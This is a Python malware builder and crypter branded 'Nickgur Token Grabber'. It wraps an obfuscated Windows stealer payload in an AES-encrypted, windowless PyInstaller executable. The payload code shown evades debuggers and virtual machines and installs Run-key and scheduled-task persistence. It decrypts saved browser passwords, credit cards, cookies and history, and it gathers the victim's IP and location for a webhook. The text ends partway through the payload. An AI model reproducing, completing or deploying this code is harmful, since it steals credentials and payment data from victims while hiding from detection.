#!/usr/bin/env python3
# Builder + AES-256 Crypter
import os, sys, subprocess, shutil, time, threading
import json, random, getpass, socket
from base64 import b64encode as _b64e

# ── crypter engine ────────────────────────────────────────────────────────────
from cryptography.hazmat.primitives.ciphers import Cipher as _Cipher
from cryptography.hazmat.primitives.ciphers import algorithms as _algs
from cryptography.hazmat.primitives.ciphers import modes as _modes
from cryptography.hazmat.backends import default_backend as _dfb

def _aes_encrypt(plaintext_bytes):
    key   = os.urandom(32)
    nonce = os.urandom(16)
    cipher = _Cipher(_algs.AES(key), _modes.GCM(nonce), backend=_dfb())
    enc    = cipher.encryptor()
    ct     = enc.update(plaintext_bytes) + enc.finalize()
    return key, nonce, ct, enc.tag

# Stub uses token replacement so repr(bytes) with embedded { } never breaks .format
_STUB_HEAD = '''\
import sys as _sys, os as _os, subprocess as _sp, ctypes as _ct, builtins as _bi

_ct.windll.kernel32.FreeConsole()
_hwnd = _ct.windll.kernel32.GetConsoleWindow()
if _hwnd:
    _ct.windll.user32.ShowWindow(_hwnd, 0)

_orig_popen = _sp.Popen.__init__
def _no_window(self, *a, **kw):
    if _os.name == "nt":
        kw.setdefault("creationflags", 0)
        kw["creationflags"] |= 0x08000000
        _si = _sp.STARTUPINFO()
        _si.dwFlags |= _sp.STARTF_USESHOWWINDOW
        _si.wShowWindow = 0
        kw.setdefault("startupinfo", _si)
    _orig_popen(self, *a, **kw)
_sp.Popen.__init__ = _no_window

if getattr(_sys, "frozen", False):
    _base = _os.path.dirname(_sys.executable)
    _mei  = getattr(_sys, "_MEIPASS", _base)
    for _p in (_mei, _base):
        if _p not in _sys.path:
            _sys.path.insert(0, _p)

_frozen_file = _sys.executable

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

def _decrypt(key, nonce, ciphertext, tag):
    c = Cipher(algorithms.AES(key), modes.GCM(nonce, tag), backend=default_backend())
    d = c.decryptor()
    return d.update(ciphertext) + d.finalize()

key     = __KEY__
nonce   = __NONCE__
tag     = __TAG__
payload = __PAYLOAD__

decrypted_payload = _decrypt(key, nonce, payload, tag)

_exec_globals = globals().copy()
_exec_globals.update({
    "__file__":     _frozen_file,
    "__name__":     "__main__",
    "__spec__":     None,
    "__loader__":   None,
    "__package__":  None,
    "__builtins__": _bi,
})
exec(compile(decrypted_payload, _frozen_file, "exec"), _exec_globals)
'''

_RUNTIME_HOOK = '''\
import ctypes, os, subprocess, sys

ctypes.windll.kernel32.FreeConsole()
hwnd = ctypes.windll.kernel32.GetConsoleWindow()
if hwnd:
    ctypes.windll.user32.ShowWindow(hwnd, 0)

if getattr(sys, "frozen", False):
    base = os.path.dirname(sys.executable)
    mei  = getattr(sys, "_MEIPASS", base)
    for p in (mei, base):
        if p not in sys.path:
            sys.path.insert(0, p)

_orig = subprocess.Popen.__init__
def _no_window(self, *a, **kw):
    if os.name == "nt":
        kw.setdefault("creationflags", 0)
        kw["creationflags"] |= 0x08000000
        si = subprocess.STARTUPINFO()
        si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
        si.wShowWindow = 0
        kw.setdefault("startupinfo", si)
    _orig(self, *a, **kw)
subprocess.Popen.__init__ = _no_window
'''

_HIDDEN = [
    "requests","urllib3","charset_normalizer","certifi","idna",
    "Crypto","Crypto.Cipher","Crypto.Cipher.AES","Crypto.Util","Crypto.Util.Padding",
    "cryptography","cryptography.hazmat","cryptography.hazmat.primitives",
    "cryptography.hazmat.primitives.ciphers","cryptography.hazmat.backends",
    "win32crypt","win32api","win32con","win32gui","win32security",
    "win32process","win32file","pywintypes","winerror",
    "PIL","PIL.Image","PIL.ImageGrab",
    "browser_history","browser_history.browsers",
    "psutil","_psutil_windows",
    "sqlite3","winreg","ctypes","zipfile","tempfile",
    "http","http.server","http.client",
    "urllib","urllib.request","urllib.parse",
    "struct","socket","threading",
    "shutil","io","base64","re","json","datetime","logging",
]
_COLLECT = ["requests","psutil","PIL","browser_history","Crypto","win32api","win32crypt"]

# ── paths ─────────────────────────────────────────────────────────────────────
_IS_FROZEN  = getattr(sys,"frozen",False)
_base_dir   = os.path.dirname(os.path.abspath(sys.executable if _IS_FROZEN else __file__))
output_folder = _base_dir
CONFIG_FILE = os.path.join(_base_dir,"nickgur_cfg.json")

def load_config():
    try:
        with open(CONFIG_FILE) as f: return json.load(f)
    except: return {}

def save_config(cfg):
    try:
        with open(CONFIG_FILE,"w") as f: json.dump(cfg,f,indent=2)
    except: pass

try:
    USERNAME = getpass.getuser().lower()
    HOSTNAME = socket.gethostname().lower()
except:
    USERNAME = "user"; HOSTNAME = "nickgur"

PYTHON_RAW = sys.executable

R    = "\033[0m"; BOLD = "\033[1m"; DIM = "\033[2m"
KG   = "\033[38;5;84m"
KW   = "\033[97m"
KGR  = "\033[90m"
KC   = "\033[38;5;51m"
SERR = "\033[38;5;196m"
SOK  = "\033[38;5;82m"

def c(n): return f"\033[38;5;{n}m"

THEMES = [
    ("01","BLUE",       c(51), c(21), [51,45,39,33,27,21]        ),
    ("02","PURPLE",     c(141),c(57), [141,135,129,105,99,57]     ),
    ("03","PINK",       c(219),c(198),[225,219,213,207,205,198]   ),
    ("04","GREEN",      c(120),c(34), [156,120,84,48,46,34]       ),
    ("05","RED",        c(210),c(88), [224,210,196,167,124,88]    ),
    ("06","BLUEPURPLE", c(147),c(57), [147,141,105,99,63,57]      ),
    ("07","CHROME",     c(255),c(245),[255,253,251,249,247,245]   ),
    ("08","GOLD",       c(229),c(136),[229,227,221,215,172,136]   ),
    ("09","SILVER",     c(255),c(239),[255,251,247,243,241,239]   ),
    ("10","NEON",       c(154),c(40), [154,148,118,82,46,40]      ),
    ("11","CYBER",      c(159),c(27), [159,123,87,51,45,27]       ),
    ("12","FIRE",       c(226),c(160),[226,220,214,202,196,160]   ),
]

ACTIVE = {"num":"01","name":"BLUE","hi":c(51),"lo":c(21),"grad":[51,45,39,33,27,21]}

def apply_theme(num, name, hi, lo, grad):
    ACTIVE.update({"num":num,"name":name,"hi":hi,"lo":lo,"grad":grad})

LOGO_LINES = [
    "  \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588   \u2588\u2588\u2588\u2588\u2588\u2588\u2588   \u2588\u2588\u2588\u2588\u2588\u2588    \u2588\u2588\u2588\u2588\u2588\u2588   \u2588\u2588    \u2588\u2588",
    "        \u2588\u2588   \u2588\u2588        \u2588\u2588   \u2588\u2588  \u2588\u2588    \u2588\u2588   \u2588\u2588  \u2588\u2588 ",
    "      \u2588\u2588     \u2588\u2588\u2588\u2588\u2588     \u2588\u2588\u2588\u2588\u2588    \u2588\u2588    \u2588\u2588    \u2588\u2588\u2588\u2588  ",
    "    \u2588\u2588       \u2588\u2588        \u2588\u2588  \u2588\u2588   \u2588\u2588    \u2588\u2588   \u2588\u2588  \u2588\u2588 ",
    "  \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588   \u2588\u2588\u2588\u2588\u2588\u2588\u2588   \u2588\u2588   \u2588\u2588   \u2588\u2588\u2588\u2588\u2588\u2588   \u2588\u2588    \u2588\u2588",
]

def clear():
    os.system("cls" if os.name=="nt" else "clear")

def gradient_line(text, grad):
    n=len(grad); out=""
    for i,ch in enumerate(text):
        idx=int(i*(n-1)/max(len(text)-1,1))
        out+=c(grad[idx])+ch+R
    return "  "+out

def grad_div(grad, width=50):
    return gradient_line("\u2500"*width, grad)

def print_logo(grad=None):
    g=grad if grad else ACTIVE["grad"]
    for i,line in enumerate(LOGO_LINES):
        shade=c(g[min(i,len(g)-1)])
        print(shade+line+R)

def kali_input(label="~"):
    hi=ACTIVE["hi"]
    sys.stdout.write(
        f"\n  {KG}\u250c\u2500\u2500({KW}{BOLD}{USERNAME}{R}{KG}\u327f{HOSTNAME}{KG})-"
        f"[{hi}{BOLD}{label}{R}{KG}]{R}\n"
        f"  {KG}\u2514\u2500{KW}{BOLD}${R} "
    )
    sys.stdout.flush()
    try: return input().strip()
    except: return ""

def step(sym, col, msg, delay=0.13):
    time.sleep(delay)
    print(f"  {col}[{BOLD}{sym}{R}{col}]{R}  {msg}")

def progress_bar(grad, length=40, delay=0.025):
    n=len(grad)
    sys.stdout.write(f"  {KGR}[{R}")
    for i in range(length):
        idx=int(i*(n-1)/max(length-1,1))
        time.sleep(delay)
        sys.stdout.write(c(grad[idx])+"\u2588"+R)
        sys.stdout.flush()
    sys.stdout.write(f"{KGR}]{R}\n")

def show_theme_picker():
    clear(); print()
    print_logo([255,253,251,249,247,245])
    print(f"\n  {KGR}v2.1  \u00b7  @ScriptzForever{R}")
    print(f"\n  {KGR}{chr(9472)*52}{R}")
    print(f"  {BOLD}{KW}  pick a theme{R}")
    print(f"  {KGR}{chr(9472)*52}{R}\n")
    left,right=THEMES[:6],THEMES[6:]
    for i in range(6):
        nl,nl_n,hl,ll,_gl=left[i]
        nr,nr_n,hr,lr,_gr=right[i]
        sw_l=f"{hl}\u2588\u2588\u2588{ll}\u2588\u2588\u2588{R}"
        sw_r=f"{hr}\u2588\u2588\u2588{lr}\u2588\u2588\u2588{R}"
        el=f"  {KGR}{nl}{R}  {sw_l}  {BOLD}{hl}{nl_n:<12}{R}"
        er=f"  {KGR}{nr}{R}  {sw_r}  {BOLD}{hr}{nr_n}{R}"
        print(f"    {el}   {er}")
    print(f"\n  {KGR}{chr(9472)*52}{R}")
    while True:
        raw=kali_input("theme-select")
        found=next((t for t in THEMES if t[0]==raw.zfill(2)),None)
        if found: return found
        print(f"  {SERR}[!]{R}  invalid \u2014 enter 01 to 12")

def build_intro(name, hi, lo, grad):
    clear(); print()
    sw=f"{hi}\u2588\u2588\u2588{lo}\u2588\u2588\u2588{R}"
    for sym,col,msg in [
        ("*",KC, "initialising Nickgur v2.4"),
        ("*",KC, f"loading theme  {sw}  {BOLD}{hi}{name}{R}"),
        ("+",KG, "colour scheme   applied"),
        ("+",KG, "writing config  to disk"),
        ("+",KG, "patching terminal output"),
        ("+",KG, "seeding random  salt"),
    ]:
        step(sym,col,msg)
    print(); progress_bar(grad); time.sleep(0.2)
    print(f"\n  {KG}[{BOLD}+{R}{KG}]{R}  {BOLD}{hi}Token Grabber ready  \u2014  {name}{R}")
    time.sleep(0.9)

def animated_intro():
    clear()
    for _ in range(160):
        sys.stdout.write(f"\033[{random.randint(1,7)};{random.randint(3,120)}H{KGR}\u00b7{R}")
    sys.stdout.flush(); time.sleep(0.12)
    clear(); print()
    print_logo([255,253,251,249,247,245])
    print(f"\n  {KGR}v2.1  \u00b7  @ScriptzForever{R}")
    time.sleep(0.5)

_dep_done=threading.Event(); _dep_errors=[]

def _install_worker():
    _pkgs={"requests":"requests","psutil":"psutil","pywin32":"win32api",
           "pillow":"PIL","browser-history":"browser_history","pycryptodome":"Crypto",
           "cryptography":"cryptography"}
    for pkg,imp in _pkgs.items():
        try: __import__(imp)
        except ImportError:
            try:
                subprocess.check_call([sys.executable,"-m","pip","install","--quiet",pkg],
                                      stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)
            except: _dep_errors.append(pkg)
    _dep_done.set()

if not _IS_FROZEN:
    threading.Thread(target=_install_worker,daemon=True).start()
else:
    _dep_done.set()

def _show_loading():
    if _dep_done.is_set(): return
    SPIN="\u28cb\u28d9\u28b9\u28ae\u28e6\u28c7\u28c3\u28cf"
    MSGS=["Initializing modules","Loading environment",
          "Verifying libraries","Preparing engine","Almost ready"]
    MIN_T=1.5; start=time.time(); i=0
    grad=ACTIVE["grad"]
    while not _dep_done.is_set() or (time.time()-start)<MIN_T:
        clear(); print_logo(); print(f"\n  {KGR}v2.1  \u00b7  @ScriptzForever{R}\n")
        elapsed=time.time()-start
        pct=100 if _dep_done.is_set() else int(min(0.93,elapsed/(MIN_T*1.25))**0.7*100)
        filled=int(40*pct/100)
        frame=SPIN[i%len(SPIN)]; msg=MSGS[(i//10)%len(MSGS)]
        print(f"  {KC}[{BOLD}*{R}{KC}]{R}  {frame}  {KGR}{msg}...{R}\n")
        n=len(grad)
        sys.stdout.write(f"  {KGR}[{R}")
        for j in range(40):
            ci=int(j*(n-1)/max(39,1))
            clr=c(grad[ci]) if j<filled else KGR
            sys.stdout.write(clr+"\u2588"+R)
        sys.stdout.write(f"{KGR}]  {KW}{BOLD}{pct:3}%{R}\n\n")
        sys.stdout.flush()
        i+=1; time.sleep(0.07)
        if _dep_done.is_set() and pct>=100: break
    clear(); print_logo(); print(f"\n  {KGR}v2.1  \u00b7  @ScriptzForever{R}\n")
    progress_bar(grad)
    step("+",KG,"Nickgur ready",delay=0.1); print()
    time.sleep(0.4)

def _find_python():
    if not _IS_FROZEN: return sys.executable
    import shutil as _sh
    for n in ("python.exe","python3.exe","python","python3"):
        p=_sh.which(n)
        if p:
            low=p.lower()
            if "system32" not in low and "windowsapps" not in low: return p
    cands=[]
    lo2=os.environ.get("LOCALAPPDATA",""); usr=os.path.expanduser("~")
    for root in [lo2,usr,"C:\\"]:
        if not root: continue
        for mid in ["Programs\\Python","Python",""]:
            base=os.path.join(root,mid) if mid else root
            if not os.path.isdir(base): continue
            for sub in ["","Python314","Python313","Python312","Python311","Python310","Python39","Python38"]:
                p=os.path.join(base,sub,"python.exe") if sub else os.path.join(base,"python.exe")
                if os.path.isfile(p): cands.append(p)
    if cands: return cands[0]
    try:
        import winreg
        for hive in (winreg.HKEY_CURRENT_USER,winreg.HKEY_LOCAL_MACHINE):
            for kp in (r"SOFTWARE\Python\PythonCore",r"SOFTWARE\WOW6432Node\Python\PythonCore"):
                try:
                    with winreg.OpenKey(hive,kp) as hk:
                        i=0
                        while True:
                            try:
                                ver=winreg.EnumKey(hk,i); i+=1
                                with winreg.OpenKey(hk,ver+r"\InstallPath") as ip:
                                    inst=winreg.QueryValue(ip,None)
                                    p=os.path.join(inst.strip(),"python.exe")
                                    if os.path.isfile(p): return p
                            except OSError: break
                except OSError: pass
    except: pass
    return None

PYTHON_EXE=_find_python()

class Spinner:
    _f=["\u28cb","\u28d9","\u28b9","\u28ae","\u28e6","\u28c7","\u28c3","\u28cf"]
    def __init__(self,msg):
        self.msg=msg; self._stop=threading.Event()
        self._t=threading.Thread(target=self._run,daemon=True)
    def _run(self):
        i=0
        while not self._stop.is_set():
            fr=self._f[i%len(self._f)]
            sys.stdout.write(f"\r  {KC}[{BOLD}*{R}{KC}]{R}  {fr}  {self.msg}  ")
            sys.stdout.flush(); i+=1; time.sleep(0.09)
    def start(self): self._t.start()
    def stop(self,done=""):
        self._stop.set(); self._t.join()
        sys.stdout.write("\r"+" "*72+"\r")
        if done: step("+",KG,done,delay=0)

def _run_cmd(cmd,label):
    kw=["info","warn","error","building","compiling","linking","generating","creating",
        "including","copying","finishing","complete","done","nuitka","collecting","adding",
        "checking","found","bytes","exe","pkg","running","writing","extending","scanning"]
    spin=Spinner(label); spin.start(); n=0; rc=-1
    try:
        proc=subprocess.Popen(cmd,stdout=subprocess.PIPE,stderr=subprocess.STDOUT,
                              text=True,bufsize=1,cwd=output_folder)
        for line in proc.stdout:
            line=line.rstrip()
            if not line: continue
            n+=1
            if any(k in line.lower() for k in kw) or n%18==0:
                spin.stop()
                grad=ACTIVE["grad"]; ng=len(grad)
                col=c(grad[n%ng])
                print("    "+col+line+R)
                spin=Spinner(label); spin.start()
        proc.wait(); rc=proc.returncode
    except FileNotFoundError as e:
        spin.stop(); print(f"  {SERR}[!]{R}  {e}"); return -1
    except Exception as e:
        spin.stop(); print(f"  {SERR}[!]{R}  {e}"); return -1
    spin.stop(); return rc

def _write_spec(client_path, exe_name, dist_dir, build_dir):
    """Standard (unencrypted) spec — PyInstaller with collect_all."""
    spec_dir=os.path.join(output_folder,"_spec"); os.makedirs(spec_dir,exist_ok=True)
    sf=os.path.join(spec_dir,exe_name+".spec")
    hidden_str    = "[" + ",".join(f"'{m}'" for m in _HIDDEN) + "]"
    collect_parts = "\n".join(
        f"tmp_ret=collect_all('{pkg}')\ndatas+=tmp_ret[0]\nbinaries+=tmp_ret[1]\nhiddenimports+=tmp_ret[2]"
        for pkg in _COLLECT
    )
    with open(sf,"w",encoding="utf-8") as f:
        f.write(
            "# -*- mode: python ; coding: utf-8 -*-\n"
            "from PyInstaller.utils.hooks import collect_all\n"
            "datas=[]; binaries=[]\n"
            f"hiddenimports={hidden_str}\n"
            f"{collect_parts}\n"
            f"a=Analysis([{repr(client_path)}],pathex=[{repr(output_folder)}],"
            "binaries=binaries,datas=datas,hiddenimports=hiddenimports,"
            "hookspath=[],hooksconfig={},runtime_hooks=[],"
            "excludes=['tkinter','matplotlib','numpy','pandas'],noarchive=False)\n"
            "pyz=PYZ(a.pure)\n"
            f"exe=EXE(pyz,a.scripts,a.binaries,a.datas,[],"
            f"name={repr(exe_name)},debug=False,bootloader_ignore_signals=False,"
            "strip=False,upx=True,upx_exclude=[],runtime_tmpdir=None,console=False,"
            "disable_windowed_traceback=False,argv_emulation=False,"
            "target_arch=None,codesign_identity=None,entitlements_file=None)\n"
        )
    return sf

def _encrypt_and_compile(client_path, exe_name, dist_dir, build_dir):
    """AES-256-GCM encrypt stealer.py then compile via PyInstaller spec."""
    work = os.path.join(output_folder, "_enc_work")
    os.makedirs(work, exist_ok=True)

    # ── encrypt ───────────────────────────────────────────────────────────
    step("*", KC, "encrypting payload   AES-256-GCM", delay=0.05)
    with open(client_path, "rb") as f:
        raw = f.read()
    key, nonce, ct, tag = _aes_encrypt(raw)

    stub_src = _STUB_HEAD \
        .replace("__KEY__",     repr(key))  \
        .replace("__NONCE__",   repr(nonce)) \
        .replace("__TAG__",     repr(tag))   \
        .replace("__PAYLOAD__", repr(ct))
    step("+", KG, f"encrypted  {len(raw):,} → {len(ct):,} bytes", delay=0.05)

    enc_path  = os.path.join(work, "_stub.py")
    hook_path = os.path.join(work, "_rthook.py")
    spec_path = os.path.join(work,  exe_name + ".spec")

    with open(enc_path,  "w", encoding="utf-8") as f: f.write(stub_src)
    with open(hook_path, "w", encoding="utf-8") as f: f.write(_RUNTIME_HOOK)

    # ── spec ──────────────────────────────────────────────────────────────
    hidden_str    = "[" + ", ".join(f"'{m}'" for m in _HIDDEN) + "]"
    collect_parts = "\n".join(
        f"tmp_ret = collect_all('{pkg}')\n"
        f"datas    += tmp_ret[0]\n"
        f"binaries += tmp_ret[1]\n"
        f"hiddenimports += tmp_ret[2]"
        for pkg in _COLLECT
    )
    spec_content = (
        "# -*- mode: python ; coding: utf-8 -*-\n"
        "from PyInstaller.utils.hooks import collect_all\n"
        f"datas=[]; binaries=[]\nhiddenimports={hidden_str}\n"
        f"{collect_parts}\n"
        f"a=Analysis([{repr(enc_path)}],pathex=[{repr(output_folder)}],"
        "binaries=binaries,datas=datas,hiddenimports=hiddenimports,"
        f"hookspath=[],hooksconfig={{}},runtime_hooks=[{repr(hook_path)}],"
        "excludes=['tkinter','matplotlib','numpy','pandas'],noarchive=False)\n"
        "pyz=PYZ(a.pure)\n"
        f"exe=EXE(pyz,a.scripts,a.binaries,a.datas,[],"
        f"name={repr(exe_name)},debug=False,bootloader_ignore_signals=False,"
        "strip=False,upx=False,console=False,"
        "disable_windowed_traceback=False,argv_emulation=False,"
        "target_arch=None,codesign_identity=None,entitlements_file=None)\n"
    )
    with open(spec_path, "w", encoding="utf-8") as f:
        f.write(spec_content)

    # ── compile ───────────────────────────────────────────────────────────
    py  = PYTHON_EXE or sys.executable
    pyi_build = os.path.join(work, "_pyi")
    cmd = [
        py, "-m", "PyInstaller",
        "--clean",
        "--distpath", dist_dir,
        "--workpath",  pyi_build,
        spec_path,
    ]
    rc = _run_cmd(cmd, "Encrypt + PyInstaller")

    # cleanup
    for fp in [enc_path, hook_path, spec_path]:
        try: os.remove(fp)
        except: pass
    shutil.rmtree(pyi_build, ignore_errors=True)
    shutil.rmtree(work, ignore_errors=True)

    built = os.path.join(dist_dir, exe_name + ".exe")
    return rc, built


# ── PAYLOAD ───────────────────────────────────────────────────────────────────
# disk check lowered 50 GB → 5 GB so it runs on laptops with limited storage
PAYLOAD = r'''
import os,sys,time
import base64 as _b64
import json as _jn
import shutil as _sh
import zipfile as _zp
import tempfile as _tf
import subprocess as _sp
from io import BytesIO as _BIO
import re as _r
import datetime as _dt
import logging as _lg
_lg.disable(_lg.CRITICAL)

def _x(b):
    return bytes(x^0x5A for x in _b64.b64decode(b)).decode()

_H = _x("WEBHOOK_PLACEHOLDER")
_L = os.getenv("LOCALAPPDATA","")
_A = os.getenv("APPDATA","")

def _g0(): from Crypto.Cipher import AES as _a; return _a
def _g1(): import win32crypt as _w; return _w
def _g2(): import sqlite3 as _s; return _s
def _g3(): import requests as _q; return _q
def _g4(): import urllib.request as _u; return _u
def _g5(): import winreg as _reg; return _reg
def _g6(): import psutil as _ps; return _ps
def _g7(): import win32api as _wa; return _wa

_E = {
    "ls":   _x("FjU5OzZ6CS47Lj8="),
    "oc":   _x("NSkFOSgjKi4="),
    "ek":   _x("PzQ5KCMqLj8+BTE/Iw=="),
    "ld":   _x("FjU9MzR6HjsuOw=="),
    "hi":   _x("EjMpLjUoIw=="),
    "wd":   _x("DT84eh47Ljs="),
    "cc":   _x("OSg/PjMuBTk7KD4p"),
    "lv":   _x("Nj8sPzY+OA=="),
    "ck":   _x("GTU1MTM/KQ=="),
    "ckv":  _x("PzQ5KCMqLj8+BSw7Ni8/"),
    "cknm": _x("NDs3Pw=="),
    "hk":   _x("MjUpLgUxPyM="),
    "ffhi": _x("KjY7OT8pdCkrNjMuPw=="),
    "ffck": _x("OTU1MTM/KXQpKzYzLj8="),
    "mhv":  _x("NzUgBTIzKS41KCMsMykzLik="),
    "mpu":  _x("NzUgBSo2Ozk/KQ=="),
    "nw":   _x("ND8uKTJ6LTY7NHopMjUteiooNTwzNj8p"),
    "nwp":  _x("ND8uKTJ6LTY7NHopMjUteiooNTwzNj8="),
    "kc":   _x("ET8jehk1NC4/NC4="),
    "lg":   _x("NjU9MzQp"),
    "pv":   _x("KjspKS01KD4FLDs2Lz8="),
    "uv":   _x("Lyk/KDQ7Nz8FLDs2Lz8="),
    "ou":   _x("NSgzPTM0BS8oNg=="),
    "rk":   _x("CRUcDg0bCB8GFzM5KDUpNTwuBg0zND41LSkGGS8oKD80Lgw/KCkzNTQGCC80"),
    "cn":   _x("GRUXCg8OHwgUGxcf"),
    "un":   _x("DwkfCBQbFx8="),
    "sn":   _x("CSMpLj83FDs3Pw=="),
    "st":   _x("KTkyLjspMSl6dTkoPzsuP3p1PHp1LjQ="),
    "srun": _x("dSk5ejU0NjU9NTR6dS4o"),
    "srl":  _x("dSg2ejIzPTI/KS4="),
}

_BP = {
    "Chrome":  os.path.join(_L,"Google","Chrome","User Data"),
    "Edge":    os.path.join(_L,"Microsoft","Edge","User Data"),
    "Brave":   os.path.join(_L,"BraveSoftware","Brave-Browser","User Data"),
    "Opera":   os.path.join(_A,"Opera Software","Opera Stable"),
    "OperaGX": os.path.join(_A,"Opera Software","Opera GX Stable"),
    "Vivaldi": os.path.join(_L,"Vivaldi","User Data"),
    "Yandex":  os.path.join(_L,"Yandex","YandexBrowser","User Data"),
    "Torch":   os.path.join(_L,"Torch","User Data"),
    "Iridium": os.path.join(_L,"Iridium","User Data"),
    "7Star":   os.path.join(_L,"7Star","7Star","User Data"),
    "Cent":    os.path.join(_L,"CentBrowser","User Data"),
    "Sputnik": os.path.join(_L,"Sputnik","Sputnik","User Data"),
    "Epic":    os.path.join(_L,"Epic Privacy Browser","User Data"),
    "Uran":    os.path.join(_L,"uCozMedia","Uran","User Data"),
    "Kometa":  os.path.join(_L,"Kometa","User Data"),
    "Orbitum": os.path.join(_L,"Orbitum","User Data"),
    "Amigo":   os.path.join(_L,"Amigo","User Data"),
}
_DP = {
    "Discord":        os.path.join(_A,"discord"),
    "Discord Canary": os.path.join(_A,"discordcanary"),
    "Discord PTB":    os.path.join(_A,"discordptb"),
    "Lightcord":      os.path.join(_A,"Lightcord"),
}
_FF = os.path.join(_A,"Mozilla","Firefox","Profiles")

def _debug_check():
    ps=_g6(); wa=_g7()
    import ctypes
    try:
        if ctypes.windll.kernel32.IsDebuggerPresent(): sys.exit(1)
    except: pass
    try:
        bl=["vboxservice","vboxtray","xenservice","qemu-ga","prl_cc","prl_tools"]
        for p in bl:
            for proc in ps.process_iter(["name"]):
                if p in proc.info["name"].lower(): sys.exit(1)
    except: pass
    try:
        _,disk,_=wa.GetDiskFreeSpaceEx()
        if disk<5*1073741824: sys.exit(1)
    except: pass
    time.sleep(2+(os.getpid()%5))

def _gi():
    try:
        U=_g4()
        with U.urlopen("https://api.ipify.org?format=json",timeout=6) as r:
            return _jn.loads(r.read().decode()).get("ip","?")
    except: return "?"

def _gg():
    try:
        U=_g4()
        with U.urlopen("http://ip-api.com/json",timeout=6) as r:
            return _jn.loads(r.read().decode())
    except: return {}

def _pc(): return os.getenv(_E["un"],"?"),os.getenv(_E["cn"],"?")

def _su():
    exe=(os.path.abspath(sys.argv[0]) if getattr(sys,"frozen",False) else sys.executable)
    nm=_E["sn"]
    try:
        reg=_g5()
        key=reg.OpenKey(reg.HKEY_CURRENT_USER,_E["rk"],0,reg.KEY_SET_VALUE)
        reg.SetValueEx(key,nm,0,reg.REG_SZ,exe); reg.CloseKey(key)
    except: pass
    try:
        cmd=(_E["st"]+' "'+nm+'" '+_E["srun"]+' "'+exe+'" '+_E["srl"])
        _sp.call(cmd,shell=True,creationflags=0x08000000,stdout=_sp.DEVNULL,stderr=_sp.DEVNULL)
    except: pass

def _mk(ud):
    ls=os.path.join(ud,_E["ls"])
    if not os.path.exists(ls): return None
    try:
        with open(ls,encoding="utf-8") as f: j=_jn.load(f)
        raw=j.get(_E["oc"],{}).get(_E["ek"])
        if not raw: return None
        return _g1().CryptUnprotectData(_b64.b64decode(raw)[5:],None,None,None,0)[1]
    except: return None

def _dc(ev,key):
    try:
        if ev[:3]==b"v10" and key:
            A=_g0(); c=A.new(key,A.MODE_GCM,nonce=ev[3:15])
            return c.decrypt_and_verify(ev[15:-16],ev[-16:]).decode("utf-8",errors="ignore")
    except: pass
    try: return _g1().CryptUnprotectData(ev,None,None,None,0)[1].decode("utf-8",errors="ignore")
    except: return None

def _tc(src):
    dst=os.path.join(_tf.gettempdir(),"~"+str(os.getpid())+str(abs(hash(src))%99991)+".dat")
    try: _sh.copy2(src,dst); return dst
    except: return None

def _ts(us):
    try: return (_dt.datetime(1601,1,1)+_dt.timedelta(microseconds=us)).strftime("%Y-%m-%d %H:%M")
    except: return "?"

def _f0(ud,br,pf="Default"):
    out=[]
    db=os.path.join(ud,pf,_E["ld"])
    if not os.path.exists(db): return out
    key=_mk(ud); tmp=_tc(db)
    if not tmp: return out
    try:
        conn=_g2().connect(tmp)
        for url,usr,epw in conn.execute("SELECT "+_E["ou"]+","+_E["uv"]+","+_E["pv"]+" FROM "+_E["lg"]):
            if not epw: continue
            pw=_dc(epw,key) or ""
            if pw.strip(): out.append((br,pf,url or "",usr or "",pw))
        conn.close()
    except: pass
    finally:
        try: os.remove(tmp)
        except: pass
    return out

def _f1(ud,br,pf="Default"):
    out=[]
    db=os.path.join(ud,pf,_E["hi"])
    if not os.path.exists(db): return out
    tmp=_tc(db)
    if not tmp: return out
    try:
        conn=_g2().connect(tmp)
        try:
            for url,title,ts,vc in conn.execute(
                "SELECT url,title,last_visit_time,visit_count FROM urls ORDER BY last_visit_time ASC"
            ).fetchall():
                dt=_ts(ts) if ts else "?"
                out.append((br,pf,dt,str(vc or 0),(title or "")[:120],(url or "")[:300]))
        except: pass
        conn.close()
    except: pass
    finally:
        try: os.remove(tmp)
        except: pass
    return out

def _f2(ud,br,pf="Default"):
    out=[]
    db=os.path.join(ud,pf,_E["wd"])
    if not os.path.exists(db): return out
    key=_mk(ud); tmp=_tc(db)
    if not tmp: return out
    try:
        conn=_g2().connect(tmp)
        for nm,em,ey,enum in conn.execute(
            "SELECT name_on_card,expiration_month,expiration_year,card_number_encrypted FROM "+_E["cc"]
        ):
            num=_dc(enum,key) or ""
            if num.strip(): out.append((br,pf,nm or "",str(em)+"/"+str(ey),num))
        conn.close()
    except: pass
    finally:
        try: os.remove(tmp)
        except: pass
    return out

def _f3(ud,br,pf="Default"):
    out=[]; key=_mk(ud)
    for sub in [os.path.join(pf,"Network",_E["ck"]),os.path.join(pf,_E["ck"])]:
        db=os.path.join(ud,sub)
        if not os.path.exists(db): continue
        tmp=_tc(db)
        if not tmp: continue
        try:
            conn=_g2().connect(tmp); conn.text_factory=bytes
            try:
                for hk,nm,ev in conn.execute(
                    "SELECT "+_E["hk"]+","+_E["cknm"]+","+_E["ckv"]+" FROM cookies ORDER BY "+_E["hk"]
                ).fetchall():
                    try:
                        hk=hk.decode("utf-8",errors="ignore") if isinstance(hk,bytes) else str(hk)
                        nm=nm.decode("utf-8",errors="ignore") if isinstance(nm,bytes) else str(nm)
                        v=_dc(ev,key) or ""
                        if v.strip(): out.append((br,pf,hk,nm,v))
                    except: pass
            except: pass
            conn.close()
        except: pass
        finally:
            try: os.remove(tmp)
            except: pass
        break
    return out

def _f4(pfp):
    out=[]
    db=os.path.join(pfp,_E["ffhi"])
    if not os.path.exists(db): return out
    tmp=_tc(db)
    if not tmp: return out
    try:
        conn=_g2().connect(tmp)
        try:
            for url,title,vc,ts in conn.execute(
                "SELECT p.url,p.title,p.visit_count,h.visit_date FROM "+
                _E["mpu"]+" p JOIN "+_E["mhv"]+" h ON p.id=h.place_id ORDER BY h.visit_date ASC"
            ).fetchall():
                dt="?"
                try:
                    if ts: dt=(_dt.datetime(1970,1,1)+_dt.timedelta(microseconds=ts)).strftime("%Y-%m-%d %H:%M")
                except: pass
                out.append(("Firefox","",dt,str(vc or 0),(title or "")[:120],(url or "")[:300]))
        except: pass
        conn.close()
    except: pass
    finally:
        try: os.remove(tmp)
        except: pass
    return out
